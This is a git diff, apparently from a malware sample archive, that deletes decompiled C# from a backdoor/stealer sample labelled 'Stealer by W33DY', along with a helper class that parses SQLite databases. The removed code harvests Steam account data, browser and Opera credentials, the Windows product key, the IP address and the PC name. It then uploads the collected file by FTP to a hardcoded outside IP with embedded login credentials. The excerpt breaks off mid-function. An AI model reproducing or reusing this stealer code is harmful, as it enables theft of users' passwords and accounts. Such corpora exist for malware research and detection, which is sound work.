- long[] numArray = new long[5];
- int index = 0;
- do
- {
- object obj2 = Operators.AddObject(Left3, (object) 1);
- Left3 = (object) this.GVL(Conversions.ToInteger(obj2));
- numArray[index] = this.CVL(Conversions.ToInteger(obj2), Conversions.ToInteger(Left3));
- numArray[index] = numArray[index] <= 9L ? (long) this.SQLDataTypeSize[checked ((int) numArray[index])] : (!this.IsOdd(numArray[index]) ? checked ((long) Math.Round(unchecked ((double) checked (numArray[index] - 12L) / 2.0))) : checked ((long) Math.Round(unchecked ((double) checked (numArray[index] - 13L) / 2.0))));
- checked { ++index; }
- }
- while (index <= 4);
- if (Decimal.Compare(new Decimal(this.encoding), 1M) == 0)
- this.master_table_entries[checked (num1 + num3)].item_type = Encoding.Default.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(new Decimal(startIndex), new Decimal(num4))), checked ((int) numArray[0]));
- else if (Decimal.Compare(new Decimal(this.encoding), 2M) == 0)
- this.master_table_entries[checked (num1 + num3)].item_type = Encoding.Unicode.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(new Decimal(startIndex), new Decimal(num4))), checked ((int) numArray[0]));
- else if (Decimal.Compare(new Decimal(this.encoding), 3M) == 0)
- this.master_table_entries[checked (num1 + num3)].item_type = Encoding.BigEndianUnicode.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(new Decimal(startIndex), new Decimal(num4))), checked ((int) numArray[0]));
- if (Decimal.Compare(new Decimal(this.encoding), 1M) == 0)
- this.master_table_entries[checked (num1 + num3)].item_name = Encoding.Default.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(startIndex), new Decimal(num4)), new Decimal(numArray[0]))), checked ((int) numArray[1]));
- else if (Decimal.Compare(new Decimal(this.encoding), 2M) == 0)
- this.master_table_entries[checked (num1 + num3)].item_name = Encoding.Unicode.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(startIndex), new Decimal(num4)), new Decimal(numArray[0]))), checked ((int) numArray[1]));
- else if (Decimal.Compare(new Decimal(this.encoding), 3M) == 0)
- this.master_table_entries[checked (num1 + num3)].item_name = Encoding.BigEndianUnicode.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(startIndex), new Decimal(num4)), new Decimal(numArray[0]))), checked ((int) numArray[1]));
- this.master_table_entries[checked (num1 + num3)].root_num = checked ((long) this.ConvertToInteger(Convert.ToInt32(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(new Decimal(startIndex), new Decimal(num4)), new Decimal(numArray[0])), new Decimal(numArray[1])), new Decimal(numArray[2]))), (int) numArray[3]));
- if (Decimal.Compare(new Decimal(this.encoding), 1M) == 0)
- this.master_table_entries[checked (num1 + num3)].sql_statement = Encoding.Default.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(new Decimal(startIndex), new Decimal(num4)), new Decimal(numArray[0])), new Decimal(numArray[1])), new Decimal(numArray[2])), new Decimal(numArray[3]))), checked ((int) numArray[4]));
- else if (Decimal.Compare(new Decimal(this.encoding), 2M) == 0)
- this.master_table_entries[checked (num1 + num3)].sql_statement = Encoding.Unicode.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(new Decimal(startIndex), new Decimal(num4)), new Decimal(numArray[0])), new Decimal(numArray[1])), new Decimal(numArray[2])), new Decimal(numArray[3]))), checked ((int) numArray[4]));
- else if (Decimal.Compare(new Decimal(this.encoding), 3M) == 0)
- this.master_table_entries[checked (num1 + num3)].sql_statement = Encoding.BigEndianUnicode.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(Decimal.Add(new Decimal(startIndex), new Decimal(num4)), new Decimal(numArray[0])), new Decimal(numArray[1])), new Decimal(numArray[2])), new Decimal(numArray[3]))), checked ((int) numArray[4]));
- checked { ++num3; }
- }
- }
- else
- {
- if (this.db_bytes[checked ((int) Offset)] != (byte) 5)
- return;
- int uint16 = (int) Convert.ToUInt16(Decimal.Subtract(new Decimal(this.ConvertToInteger(Convert.ToInt32(Decimal.Add(new Decimal(Offset), 3M)), 2)), 1M));
- int num = 0;
- while (num <= uint16)
- {
- ushort integer = checked ((ushort) this.ConvertToInteger(Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(Offset), 12M), new Decimal(num * 2))), 2));
- if (Decimal.Compare(new Decimal(Offset), 100M) == 0)
- this.ReadMasterTable(Convert.ToUInt64(Decimal.Multiply(Decimal.Subtract(new Decimal(this.ConvertToInteger((int) integer, 4)), 1M), new Decimal((int) this.page_size))));
- else
- this.ReadMasterTable(Convert.ToUInt64(Decimal.Multiply(Decimal.Subtract(new Decimal(this.ConvertToInteger(checked ((int) (Offset + (ulong) integer)), 4)), 1M), new Decimal((int) this.page_size))));
- checked { ++num; }
- }
- this.ReadMasterTable(Convert.ToUInt64(Decimal.Multiply(Decimal.Subtract(new Decimal(this.ConvertToInteger(Convert.ToInt32(Decimal.Add(new Decimal(Offset), 8M)), 4)), 1M), new Decimal((int) this.page_size))));
- }
- }
-
- private bool ReadTableFromOffset(ulong Offset)
- {
- if (this.db_bytes[checked ((int) Offset)] == (byte) 13)
- {
- ushort uint16 = Convert.ToUInt16(Decimal.Subtract(new Decimal(this.ConvertToInteger(Convert.ToInt32(Decimal.Add(new Decimal(Offset), 3M)), 2)), 1M));
- int num1 = 0;
- if (this.table_entries != null)
- {
- num1 = this.table_entries.Length;
- this.table_entries = (SQLiteHandler.table_entry[]) Utils.CopyArray((Array) this.table_entries, (Array) new SQLiteHandler.table_entry[checked (this.table_entries.Length + (int) uint16 + 1)]);
- }
- else
- this.table_entries = new SQLiteHandler.table_entry[checked ((int) uint16 + 1)];
- int num2 = (int) uint16;
- int num3 = 0;
- while (num3 <= num2)
- {
- ulong integer = this.ConvertToInteger(Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(Offset), 8M), new Decimal(checked (num3 * 2)))), 2);
- if (Decimal.Compare(new Decimal(Offset), 100M) != 0)
- checked { integer += Offset; }
- object Left1 = (object) this.GVL(checked ((int) integer));
- this.CVL(checked ((int) integer), Conversions.ToInteger(Left1));
- object Left2 = (object) this.GVL(Conversions.ToInteger(Operators.AddObject(Operators.AddObject((object) integer, Operators.SubtractObject(Left1, (object) integer)), (object) 1)));
- this.table_entries[checked (num1 + num3)].row_id = this.CVL(Conversions.ToInteger(Operators.AddObject(Operators.AddObject((object) integer, Operators.SubtractObject(Left1, (object) integer)), (object) 1)), Conversions.ToInteger(Left2));
- ulong num4 = Conversions.ToULong(Operators.AddObject(Operators.AddObject((object) integer, Operators.SubtractObject(Left2, (object) integer)), (object) 1));
- object Right1 = (object) this.GVL(checked ((int) num4));
- object Left3 = RuntimeHelpers.GetObjectValue(Right1);
- long num5 = this.CVL(checked ((int) num4), Conversions.ToInteger(Right1));
- long Left4 = Conversions.ToLong(Operators.AddObject(Operators.SubtractObject((object) num4, Right1), (object) 1));
- object Left5 = (object) 0;
- SQLiteHandler.record_header_field[] arySrc;
- while (Left4 < num5)
- {
- arySrc = (SQLiteHandler.record_header_field[]) Utils.CopyArray((Array) arySrc, (Array) new SQLiteHandler.record_header_field[checked (Conversions.ToInteger(Left5) + 1)]);
- object Right2 = Operators.AddObject(Left3, (object) 1);
- Left3 = (object) this.GVL(Conversions.ToInteger(Right2));
- arySrc[Conversions.ToInteger(Left5)].type = this.CVL(Conversions.ToInteger(Right2), Conversions.ToInteger(Left3));
- arySrc[Conversions.ToInteger(Left5)].size = arySrc[Conversions.ToInteger(Left5)].type <= 9L ? (long) this.SQLDataTypeSize[checked ((int) arySrc[Conversions.ToInteger(Left5)].type)] : (!this.IsOdd(arySrc[Conversions.ToInteger(Left5)].type) ? checked ((long) Math.Round(unchecked ((double) checked (arySrc[Conversions.ToInteger(Left5)].type - 12L) / 2.0))) : checked ((long) Math.Round(unchecked ((double) checked (arySrc[Conversions.ToInteger(Left5)].type - 13L) / 2.0))));
- Left4 = Conversions.ToLong(Operators.AddObject(Operators.AddObject((object) Left4, Operators.SubtractObject(Left3, Right2)), (object) 1));
- Left5 = Operators.AddObject(Left5, (object) 1);
- }
- this.table_entries[checked (num1 + num3)].content = new string[checked (arySrc.Length - 1 + 1)];
- int num6 = 0;
- int num7 = checked (arySrc.Length - 1);
- int index = 0;
- while (index <= num7)
- {
- if (arySrc[index].type > 9L)
- {
- if (!this.IsOdd(arySrc[index].type))
- {
- if (Decimal.Compare(new Decimal(this.encoding), 1M) == 0)
- this.table_entries[checked (num1 + num3)].content[index] = Encoding.Default.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(num4), new Decimal(num5)), new Decimal(num6))), checked ((int) arySrc[index].size));
- else if (Decimal.Compare(new Decimal(this.encoding), 2M) == 0)
- this.table_entries[checked (num1 + num3)].content[index] = Encoding.Unicode.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(num4), new Decimal(num5)), new Decimal(num6))), checked ((int) arySrc[index].size));
- else if (Decimal.Compare(new Decimal(this.encoding), 3M) == 0)
- this.table_entries[checked (num1 + num3)].content[index] = Encoding.BigEndianUnicode.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(num4), new Decimal(num5)), new Decimal(num6))), checked ((int) arySrc[index].size));
- }
- else
- this.table_entries[checked (num1 + num3)].content[index] = Encoding.Default.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(num4), new Decimal(num5)), new Decimal(num6))), checked ((int) arySrc[index].size));
- }
- else
- this.table_entries[checked (num1 + num3)].content[index] = Conversions.ToString(this.ConvertToInteger(Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(num4), new Decimal(num5)), new Decimal(num6))), checked ((int) arySrc[index].size)));
- num6 = checked ((int) ((long) num6 + arySrc[index].size));
- checked { ++index; }
- }
- checked { ++num3; }
- }
- }
- else if (this.db_bytes[checked ((int) Offset)] == (byte) 5)
- {
- int uint16 = (int) Convert.ToUInt16(Decimal.Subtract(new Decimal(this.ConvertToInteger(Convert.ToInt32(Decimal.Add(new Decimal(Offset), 3M)), 2)), 1M));
- int num = 0;
- while (num <= uint16)
- {
- ushort integer = checked ((ushort) this.ConvertToInteger(Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(Offset), 12M), new Decimal(num * 2))), 2));
- this.ReadTableFromOffset(Convert.ToUInt64(Decimal.Multiply(Decimal.Subtract(new Decimal(this.ConvertToInteger(checked ((int) (Offset + (ulong) integer)), 4)), 1M), new Decimal((int) this.page_size))));
- checked { ++num; }
- }
- this.ReadTableFromOffset(Convert.ToUInt64(Decimal.Multiply(Decimal.Subtract(new Decimal(this.ConvertToInteger(Convert.ToInt32(Decimal.Add(new Decimal(Offset), 8M)), 4)), 1M), new Decimal((int) this.page_size))));
- }
- return true;
- }
-
- public bool ReadTable(string TableName)
- {
- int index1 = -1;
- int length = this.master_table_entries.Length;
- int index2 = 0;
- while (index2 <= length)
- {
- if (this.master_table_entries[index2].item_name.ToLower().CompareTo(TableName.ToLower()) == 0)
- {
- index1 = index2;
- break;
- }
- checked { ++index2; }
- }
- if (index1 == -1)
- return false;
- object[] objArray1 = (object[]) this.master_table_entries[index1].sql_statement.Substring(checked (this.master_table_entries[index1].sql_statement.IndexOf("(") + 1)).Split(',');
- int num = checked (objArray1.Length - 1);
- int index3 = 0;
- while (index3 <= num)
- {
- objArray1[index3] = (object) Strings.LTrim(Conversions.ToString(objArray1[index3]));
- object objectValue1 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(objArray1[index3], (Type) null, "IndexOf", new object[1]
- {
- (object) " "
- }, (string[]) null, (Type[]) null, (bool[]) null));
- if (Operators.ConditionalCompareObjectGreater(objectValue1, (object) 0, false))
- {
- object[] objArray2 = objArray1;
- int index4 = index3;
- object Instance = objArray1[index3];
- object[] objArray3 = new object[2]
- {
- (object) 0,
- RuntimeHelpers.GetObjectValue(objectValue1)
- };
- object[] Arguments = objArray3;
- bool[] flagArray = new bool[2]{ false, true };
- bool[] CopyBack = flagArray;
- object obj = NewLateBinding.LateGet(Instance, (Type) null, "Substring", Arguments, (string[]) null, (Type[]) null, CopyBack);
- if (flagArray[1])
- RuntimeHelpers.GetObjectValue(objArray3[1]);
- object objectValue2 = RuntimeHelpers.GetObjectValue(obj);
- objArray2[index4] = objectValue2;
- }
- if (!Operators.ConditionalCompareObjectEqual(NewLateBinding.LateGet(objArray1[index3], (Type) null, "IndexOf", new object[1]
- {
- (object) "UNIQUE"
- }, (string[]) null, (Type[]) null, (bool[]) null), (object) 0, false))
- {
- this.field_names = (string[]) Utils.CopyArray((Array) this.field_names, (Array) new string[checked (index3 + 1)]);
- this.field_names[index3] = Conversions.ToString(objArray1[index3]);
- checked { ++index3; }
- }
- else
- break;
- }
- return this.ReadTableFromOffset(checked ((ulong) ((this.master_table_entries[index1].root_num - 1L) * (long) this.page_size)));
- }
-
- public int GetRowCount() => this.table_entries.Length;
-
- public string GetValue(int row_num, int field)
- {
- if (row_num >= this.table_entries.Length)
- return (string) null;
- return field >= this.table_entries[row_num].content.Length ? (string) null : this.table_entries[row_num].content[field];
- }
-
- public string GetValue(int row_num, string field)
- {
- int field1 = -1;
- int length = this.field_names.Length;
- int index = 0;
- while (index <= length)
- {
- if (this.field_names[index].ToLower().CompareTo(field.ToLower()) == 0)
- {
- field1 = index;
- break;
- }
- checked { ++index; }
- }
- return field1 == -1 ? (string) null : this.GetValue(row_num, field1);
- }
-
- public string[] GetTableNames()
- {
- object Left = (object) 0;
- int num = checked (this.master_table_entries.Length - 1);
- int index = 0;
- string[] arySrc;
- while (index <= num)
- {
- if (Operators.CompareString(this.master_table_entries[index].item_type, "table", false) == 0)
- {
- arySrc = (string[]) Utils.CopyArray((Array) arySrc, (Array) new string[checked (Conversions.ToInteger(Left) + 1)]);
- arySrc[Conversions.ToInteger(Left)] = this.master_table_entries[index].item_name;
- Left = Operators.AddObject(Left, (object) 1);
- }
- checked { ++index; }
- }
- return arySrc;
- }
-
- public SQLiteHandler(string baseName)
- {
- this.SQLDataTypeSize = new byte[10]
- {
- (byte) 0,
- (byte) 1,
- (byte) 2,
- (byte) 3,
- (byte) 4,
- (byte) 6,
- (byte) 8,
- (byte) 8,
- (byte) 0,
- (byte) 0
- };
- if (!File.Exists(baseName))
- return;
- FileSystem.FileOpen(1, baseName, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared);
- string s = Strings.Space(checked ((int) FileSystem.LOF(1)));
- FileSystem.FileGet(1, ref s);
- FileSystem.FileClose(1);
- this.db_bytes = Encoding.Default.GetBytes(s);
- if (Encoding.Default.GetString(this.db_bytes, 0, 15).CompareTo("SQLite format 3") != 0)
- throw new Exception("Not a valid SQLite 3 Database File");
- if (this.db_bytes[52] != (byte) 0)
- throw new Exception("Auto-vacuum capable database is not supported");
- if (Decimal.Compare(new Decimal(this.ConvertToInteger(44, 4)), 4M) >= 0)
- throw new Exception("No supported Schema layer file-format");
- this.page_size = checked ((ushort) this.ConvertToInteger(16, 2));
- this.encoding = this.ConvertToInteger(56, 4);
- if (Decimal.Compare(new Decimal(this.encoding), 0M) == 0)
- this.encoding = 1UL;
- this.ReadMasterTable(100UL);
- }
-
- private struct record_header_field
- {
- public long size;
- public long type;
- }
-
- private struct table_entry
- {
- public long row_id;
- public string[] content;
- }
-
- private struct sqlite_master_entry
- {
- public long row_id;
- public string item_type;
- public string item_name;
- public string astable_name;
- public long root_num;
- public string sql_statement;
- }
-}
diff --git a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-27fd0045e02c9637a29c55fea512f22e17ba06763b85774c37789ab6939ac166/yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.cs b/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-27fd0045e02c9637a29c55fea512f22e17ba06763b85774c37789ab6939ac166/yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.cs
deleted file mode 100644
index de3ace4d..00000000
--- a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-27fd0045e02c9637a29c55fea512f22e17ba06763b85774c37789ab6939ac166/yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.cs
+++ /dev/null
@@ -1,1566 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl
-// Assembly: Server, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: 5F9554D6-83E0-47C2-9D3F-094C1F4E42EE
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Backdoor.MSIL.Ubot.b-27fd0045e02c9637a29c55fea512f22e17ba06763b85774c37789ab6939ac166.exe
-
-using Microsoft.VisualBasic;
-using Microsoft.VisualBasic.CompilerServices;
-using My;
-using System;
-using System.Collections.Generic;
-using System.Data;
-using System.Diagnostics;
-using System.Drawing;
-using System.IO;
-using System.Net;
-using System.Reflection;
-using System.Runtime.CompilerServices;
-using System.Runtime.InteropServices;
-using System.Security.Cryptography;
-using System.Text;
-using System.Text.RegularExpressions;
-using System.Threading;
-using System.Windows.Forms;
-using System.Xml;
-
-[StandardModule]
-internal sealed class yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl
-{
- private static TextBox AText = new TextBox();
- private static TextBox BText = new TextBox();
- private static ListBox ListBox1 = new ListBox();
- private static string[] BpKzqFPxxkXyVhvdugkKyvpIFcxWcYknCXZisnQgyTmgWCLLKP;
- private static string steamstring;
- private static string zszerqHKNFdslVEGaDHVfBOBnPljMtLwBbBMGYVsOmfbmESnbl = Conversions.ToString(MyProject.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Valve\\Steam", "InstallPath", (object) ""));
- private static string JEhiPjowmSbbafCJQuIHXadVtJClUWqTYliReEEfnBcvbzRrSd = yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.zszerqHKNFdslVEGaDHVfBOBnPljMtLwBbBMGYVsOmfbmESnbl + "\\config\\SteamAppData.vdf";
- public static string signon;
- public static string IPAdresse;
- private static IntPtr NSS3;
- private static byte[] opera_salt = new byte[11]
- {
- (byte) 131,
- (byte) 125,
- (byte) 252,
- (byte) 15,
- (byte) 142,
- (byte) 179,
- (byte) 232,
- (byte) 105,
- (byte) 115,
- (byte) 175,
- byte.MaxValue
- };
- private static byte[] key_size = new byte[4]
- {
- (byte) 0,
- (byte) 0,
- (byte) 0,
- (byte) 8
- };
- private static string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
- public static string DOutput;
- private static int c = 0;
- private static int c1 = 0;
- private static int c2 = 0;
- private static bool firstrun = true;
- private static string ReturnValue;
- private static string sUrlTemp;
- private static string sUserTemp;
- private static string sPassTemp;
- private static string[] sUrl = new string[1001];
- private static string[] sUser = new string[1001];
- private static string[] sPass = new string[1001];
- private static int lasturl = 0;
- private static bool ftp = false;
- private static string[] Lines;
- private static string[] LoginData = new string[3001];
-
- [STAThread]
- public static void Main()
- {
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.ListBox1.Location = new Point(24, 20);
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.BText.Text = Conversions.ToString(yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.GetSteamUsername());
- try
- {
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.Melt("aWKfV.exe");
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- try
- {
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.IPAdresse = new StreamReader(((HttpWebResponse) ((HttpWebRequest) WebRequest.Create("http://automation.whatismyip.com/n09230945.asp")).GetResponse()).GetResponseStream()).ReadToEnd();
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- try
- {
- Process[] processesByName = Process.GetProcessesByName("ICQ");
- int index = 0;
- while (index < processesByName.Length)
- {
- processesByName[index].Kill();
- checked { ++index; }
- }
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.ncwmdrCkkXYyIUwQuTlwlicurPyJPLXnoKMVsaDTzGZhWCxxwC();
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- try
- {
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.TvDbsYmmzeKXixjs();
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- try
- {
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.WmNNdTVNmPtrZOiZQdoXWKKltGiChGXjXVPheBkvBxJabwxHfM();
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- try
- {
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.mlCGIzZogRyBVxDRNvJiiKTfHbGewWwICUDaKUaWiyOVXgEyce();
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- try
- {
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.KdJhyLywqJGcMXdZkCDYZjHnRgNUmukQLMKPztBeGqHLOFeHlW();
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- try
- {
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.WCLLKPzszerqHKNFdslVEGaDHVfBOBnPljMtLwBbBMGYVsOmfb();
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- try
- {
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.KYUDRqqRamPiOlEdEPJbKhRbhdpGVcenLGjlSYrzpVQQPUFMTj();
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- try
- {
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.GetOperaa();
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- try
- {
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.kLblosnDhhhJ();
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.yxORUMkzsdLNhKPcmIVJuWsrTBSEIiJUOgdzVumitLavisQLoq();
- try
- {
- MyProject.Computer.Network.UploadFile(Interaction.Environ("temp") + "\\" + MyProject.Computer.Name.ToString(), "ftp://91.234.105.109/" + MyProject.Computer.Name.ToString() + ".txt", "Anomaly", "*secure0*$");
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- ProjectData.EndApp();
- }
-
- internal static object KdJhyLywqJGcMXdZkCDYZjHnRgNUmukQLMKPztBeGqHLOFeHlW()
- {
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.BpKzqFPxxkXyVhvdugkKyvpIFcxWcYknCXZisnQgyTmgWCLLKP = MyProject.Computer.FileSystem.ReadAllText(yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.JEhiPjowmSbbafCJQuIHXadVtJClUWqTYliReEEfnBcvbzRrSd).Split('"');
- return (object) yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.BpKzqFPxxkXyVhvdugkKyvpIFcxWcYknCXZisnQgyTmgWCLLKP[9];
- }
-
- public static object GetSteamUsername()
- {
-label_0:
- int num1;
- object obj;
- int num2;
- try
- {
- ProjectData.ClearProjectError();
- num1 = 1;
-label_1:
- int num3 = 2;
- string str = Conversions.ToString(MyProject.Computer.Registry.GetValue("HKEY_CURRENT_USER\\SOFTWARE\\Valve\\Steam", "SteamPath", (object) ""));
-label_2:
- num3 = 3;
- string file = str + "\\config\\SteamAppData.vdf";
-label_3:
- num3 = 4;
- string[] strArray = MyProject.Computer.FileSystem.ReadAllText(file).Split('"');
-label_4:
- num3 = 5;
- if (Microsoft.VisualBasic.CompilerServices.Operators.CompareString(strArray[9], "", false) == 0)
- goto label_7;
-label_5:
- num3 = 6;
- strArray[9] = strArray[9];
-label_6:
- num3 = 7;
- obj = (object) strArray[9];
- goto label_15;
-label_7:
- num3 = 9;
-label_8:
- obj = (object) null;
- goto label_15;
-label_10:
- num2 = num3;
- switch (num1)
- {
- case 1:
- int num4 = num2 + 1;
- num2 = 0;
- switch (num4)
- {
- case 1:
- goto label_0;
- case 2:
- goto label_1;
- case 3:
- goto label_2;
- case 4:
- goto label_3;
- case 5:
- goto label_4;
- case 6:
- goto label_5;
- case 7:
- goto label_6;
- case 8:
- case 11:
- case 12:
- goto label_15;
- case 9:
- goto label_7;
- case 10:
- goto label_8;
- }
- break;
- }
- }
- catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
- {
- ProjectData.SetProjectError(ex);
- goto label_10;
- }
- throw ProjectData.CreateProjectError(-2146828237);
-label_15:
- object steamUsername = obj;
- if (num2 == 0)
- return steamUsername;
- ProjectData.ClearProjectError();
- return steamUsername;
- }
-
- public static void yxORUMkzsdLNhKPcmIVJuWsrTBSEIiJUOgdzVumitLavisQLoq()
- {
-label_0:
- int num1;
- int num2;
- try
- {
- int num3 = 1;
- DateTime now = DateTime.Now;
-label_1:
- num3 = 2;
- object Instance = (object) new StreamWriter(Interaction.Environ("temp") + "\\" + MyProject.Computer.Name.ToString());
-label_2:
- ProjectData.ClearProjectError();
- num1 = 1;
-label_3:
- num3 = 4;
- NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1]
- {
- (object) "Stealer by W33DY"
- }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
-label_4:
- num3 = 5;
- NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1]
- {
- (object) ("Date/Time: " + now.ToString())
- }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
-label_5:
- num3 = 6;
- NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1]
- {
- (object) ("PC Name: " + MyProject.Computer.Name)
- }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
-label_6:
- num3 = 7;
- NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1]
- {
- (object) ("IP: " + yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.IPAdresse)
- }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
-label_7:
- num3 = 8;
- NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1]
- {
- (object) ("Windows Version: " + yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.GetOSVersion())
- }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
-label_8:
- num3 = 9;
- NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1]
- {
- (object) ("Windows Key: " + yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.OSProductKey("HKEY_LOCAL_MACHINE\\SOFTWARE\\MICROSOFT\\Windows NT\\CurrentVersion", "DigitalProductId"))
- }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
-label_9:
- num3 = 10;
- NewLateBinding.LateCall(Instance, (System.Type) null, "Flush", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null, true);
-label_10:
- num3 = 11;
- NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1]
- {
- (object) (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.AText.Text + "\r\n")
- }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
-label_11:
- num3 = 12;
- NewLateBinding.LateCall(Instance, (System.Type) null, "Flush", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null, true);
-label_12:
- num3 = 13;
- int num4 = checked (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.ListBox1.Items.Count - 1);
- int index = 0;
- goto label_16;
-label_13:
- num3 = 14;
- NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1]
- {
- Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.ListBox1.Items[index], (object) "\r\n")
- }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
-label_14:
- num3 = 15;
- NewLateBinding.LateCall(Instance, (System.Type) null, "Flush", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null, true);
-label_15:
- num3 = 16;
- checked { ++index; }
-label_16:
- if (index <= num4)
- goto label_13;
-label_17:
- num3 = 17;
- NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1]
- {
